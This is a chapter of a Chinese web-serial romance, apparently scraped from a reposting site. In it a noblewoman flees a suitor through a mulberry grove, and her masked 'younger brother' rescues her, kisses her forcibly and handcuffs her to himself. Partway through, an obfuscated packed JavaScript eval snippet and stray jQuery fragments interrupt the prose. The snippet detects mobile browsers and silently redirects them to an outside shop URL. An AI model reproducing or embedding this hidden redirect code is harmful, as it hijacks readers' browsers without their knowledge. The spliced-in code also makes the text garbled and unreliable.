63. 追赶

作品:《守寡后被义弟盯上了怎么办

    丝缎披帛软绵绵地挂在桑树枝叶上,被时不时吹来的热风卷走,萎靡地飘落在肥沃的泥土中,格格不入。


    “让我看看他对你做了什么!”


    李攸怒吼,拔腿向逃窜的李宴方追去。


    方才不过咫尺之距,谁料李宴方警觉过人,朝李攸毫无防备的腹部击出一拳,剧痛袭来,李攸无暇顾及李宴方,反倒让她逃跑。


    可这事情一旦开头,绝无半途而废的道理,在李攸眼里,李宴方不过是个弱女子,怎能逃出生天?


    除非李宴方胆敢高声呼救,可这样一来,与她名声不利,若日后他再添油加醋,谎言木已成舟,说服太后下旨赐婚,她可不就是自讨苦吃?


    李攸只觉胜券在握,斗志昂扬地疾追而去。


    李宴方只是后悔,李攸抱过来之时,她不曾顶膝击裆,否则岂会让他有机会在身后追自己?


    是她有所顾忌。


    既然李宴方要惩治他,就必须拿出彻底斩断祸根的办法,光叫他断子绝孙怎么够?须得将他送往黄泉之路。


    只是调查之人今日稍稍打听便至她与李攸见过面,她现在出手必然洗不清嫌疑。


    李宴方暂且咽下这口气,她只要跑到百姓往来之处,李攸就无法实施他的计划。


    烈日高照,穷追不舍的李攸已是热汗涔涔,筋骨疲乏,但与李宴方的距离逐渐接近,他咯咯发出低笑。


    桑林如海,浩荡无涯,李攸眼神迷离,李宴方找不到别人相救,只会成为他的瓮中之鳖。


    很近了,只要李攸伸出手就能触及李宴方的衣裙。


    突然,视野中出现一道黑色身影,那影子不知何时降临,恍如定海神针般矗立在烈日下。


    他一出现,连酷热的风都停歇。


    李攸迎着日光眯起双眼打量,不见其面容,只见狰狞猛兽露出獠牙,他心跳骤然一缩,脚步瞬间停顿,愣在田间,四周只余他剧烈慌张的心跳声。


    李宴方抬头望去,目露讶然,一个不慎便栽倒在来人面前。


    萧偃本是气急,想摆些脸色给李宴方瞧,可手臂不听使唤地扶住她,进而在自然而然地将她揽入怀中。


    他并未理会不远处的李攸,极为不悦地问怀中人:“你昨日跟我说得那些话,是故意为了在今天避开我吗?”


    只要李宴方将萧偃撩拨得七荤八素,他就无心再去理会她今日的约会。


    当真是好计策。


    怀中的人奔跑疲惫,喘息不止,萧偃打量她微微泛红的脸,那张浮现薄汗的脸上没有一分一毫愧疚,也没有一丝一缕震惊。


    他的阿姊理直气壮地享受着他及时出现的护卫,她是不是算准了他会来,算准了自己会被她拿捏得妥妥当当?


    萧偃更为愠怒,可其实这时候他的阿姊说上一句“太好了你来了”,他的怒气马上就能消散而去。


    但她没有。


    她低声,伴着喘息:“真叫人后悔。”


    这一瞬间萧偃想,其实阿姊要说后悔前来赴约,他也能释怀。


    李宴方仰起头,干燥的唇微微翕张,对着萧偃说悄悄话:“早知道就该把李攸踹河里,一了百了。”


    她只想着如何解决后患,丝毫不把他的提问放在心上,他在意极了这件事情,如此聪慧的阿姊居然不明白!


    萧偃恨意渐生,他冷笑一声,另一手轻轻揭开面具寸许,露出薄唇,朝着那两瓣开合的唇吻去,先咬下唇,再咬上唇,既缠绵,又凶狠。


    扶住她腰肢的手渐渐用力,拇指上戴着的玉韘叩压她的脊骨,碾压着她背后的肌肤。


    怀中之人喘息更急,没有被封严的朱唇仓皇匆忙地呼吸着,发出不满的抗拒声:“别……疼……”


    短暂存在过的梦境不合时宜地涌上李宴方心头,她软了身躯,不满道,这玉韘果然是个碍事的东西。


    萧偃放开她,抬起手,指腹轻柔缱绻在她唇上摩挲,仿佛另一种狎昵亲吻。


    但细究而来,只是替她把花掉的口脂擦去而已。


    李宴方仰头回避,人李攸还在一旁看着呢!


    他淡声道:“别动。”说着一手自她的颈部抚摸而上,扣住后脑勺。


    李宴方气极反而平静无澜,早已看透他一举一动背后的用意:“你的占有之欲未免太强了些。”


    灼灼烈日下,李攸亲眼所见二人的暧昧亲密,萧偃心中暗爽泛滥。


    没办法,他的灵魂里永远有一隅阴暗潮湿的角落,锁着一个卑鄙险恶的鬼怪,这鬼刀枪不入,烈火不焚,只能勉勉强强囚困住,时不时地咆哮嘶吼。


    “阿姊,现在知道得太晚,想跑已经来不及了。”


    “咔哒”一声从李宴方的手腕上传来,正是李宴方震惊之时,萧偃坦荡磊落地将手铐的另一半扣在他腕上。


    “你……”李宴方欲斥无言。


    旁观其变的李攸目瞪口呆,只恨桑木为方便采摘,消砍得高度不过人肩,构不成任何遮掩,让他完完整整地看到二人之间亲密的互动。


    好蛮横霸道的侍卫,李宴方在抗拒,在不满。


    她拒绝自己的求婚当真是因为有求不得已的苦衷吗?


    那侍卫毫不避讳地在李攸面前行此举动,是有恃无恐,还是对着他这个竞争者宣告二人关系,耀武扬威?


    李攸从来没有经历过这般难堪的事情,把他多年来饱读圣贤书养出来的礼义廉耻糟蹋得稀巴烂,撕成一堆废纸碎片,丢在肮脏的泥泞里。


    他浑身热血奔腾,想冲上前去,将李宴方救出苦海,可双腿如同灌入铅液一般,沉重得移动不得方寸,加之狂奔的那一股疲惫袭来,让他只能做这个丑陋无比的旁观者。


    心中不仅有羞愤,还有担忧。


    侍卫是否此事告知太后?


    不会,侍卫在乎李宴方,想要占有她,则不会轻易将李攸与李宴方的关系捅至太后跟前,行节外生枝之举。


    可若是侍卫赤胆忠心,将所闻所见报于太后,岂不是刚好坐实自己与李宴方的关联,彻底离间太后与李宴方,那么太后对卧病在床的萧偃自然也就不信任了,正合他意!


    而且无论如何,太后都不能以一件未遂的是由来惩戒身为皇亲的李攸。


    此事定会变成小事一桩。


    李攸目露歹毒凶光,咽下心中的仇恨,愤然转身离去。


    可那鬼面侍卫掏出先前捡起的几粒石子儿,朝正在逃亡的李攸打去。


    “啊——”惨叫声自桑林内直冲天际。


    一颗击腰部,一颗击腿部,入“骨”三分。


    今日腿疼,摔倒在地;明日腰疼,不良于行。


    萧偃冷哼,今日算他走运,否则他必废了李攸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027234|190369||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不可。


    *


    李宴方抬首望见停在道中的马车,照清已经将她那一条遗失的披帛拾回,立在马车边等待。


    被手铐锁在一起两个人,一前一后地上了马车。


    照清见状内心大骇,想起不久前发生的事。


    乡君前脚刚走,萧侯后脚便来,他浑身的气势可怕得吓人,直教人在暑天里感受到铺天盖地的阴寒。


    来人三两步走入厅中,面具中透出两缕灼灼的目光,仿佛要将棋盘击碎,将石桌洞穿。


    不知萧偃心里想到了什么,猝然向等待于此的王府下仆发难,三两下将他们打走。


    那些仆从畏于他的威势,不敢相抗,各自搀扶着一瘸一拐地离去。


    随后他转过身,既怒且寒的嗓音询问她今日发生何事、乡君去向何方。


    照清见他怒火发冲冠,下手无情,不敢有隐瞒,在他的逼问之下,将李攸“再作此请”的原话道出。


    她虽隐去乡君所言的对李攸也有一二分好感,但二次请婚之语,携手同往江南之愿,也足够让萧偃七窍生烟了。


    照清心虚地觑了一眼前后脚踏上马车的两人,后悔莫及,自己这一出真是火上浇油。


    她一路心不在焉地跟着车架,一边做贼心虚地留心车内的动静,脑海中闪现那一副明晃晃、铁森森得手铐,她担惊受怕,要是乡君真因此而与萧侯闹了什么难以调和的矛盾,那么当真是万死难辞其咎了。


    可这一路上车内竟然沉默得诡异。


    烈日炎炎的正午,李宴方经历一场惊心动魄地奔跑,大汗淋漓,此时已是口干舌燥。


    车内设有一方几,其上有茶水,可她手上有拷,咫尺之间的举动都变得尤为艰难,好似间隔汪洋。


    因不满萧偃在李攸面前放肆猛浪的作为,她自然是不愿意开口提及此事,再渴也不打算对萧偃好言好语,她狠狠地偏过头去,烦躁气结地望向窗外。


    萧偃亦在赌气,心头的结她不在意,不乐意开解,甚至连话都不愿意和他说,宁可假模假样地看着被车帘遮蔽的车窗。


    她难道竟如此地厌烦他,连一句好话都不愿说?


    可她却能耐着暑气,和李攸在亭中手谈一局,当真是好耐心!


    不知李攸一而再,再而三地好语请婚,能不能叫她高兴?


    照清说她没有答应,可为什么她答应随着李攸去了那茫无边际的桑林,不危险么?


    还是她只是面上拒绝,实则有什么不便为外人得知的贴心话要说?


    萧偃明明不该作此想,阿姊可是对他说要将李攸踢下河去的,自己一定是误会她了……


    但是,此时她如此不加掩饰地厌烦萧偃,不正眼瞧他,不愿与他相谈,那一句话是不是她故意对自己撒谎,降低自己对李攸的敌意?


    难道她真的动了和李攸离去,甩掉自己的心思?只是自己出现得太及时,坏了她的打算?


    萧偃体内燥热涌动的血骤然冰凉。


    她愿意在他身边,是因为她是他的阿弟,她须关照负责,而不是什么别的人,能叫她心悦,牵动着她柔肠。


    她不喜欢他。


    萧偃透过面具一瞥李宴方的神情。


    冷得像块冰,死死地压住他那一颗逐渐心灰意冷的心脏,要把他埋葬封印在万古不化的冰山冻川之下。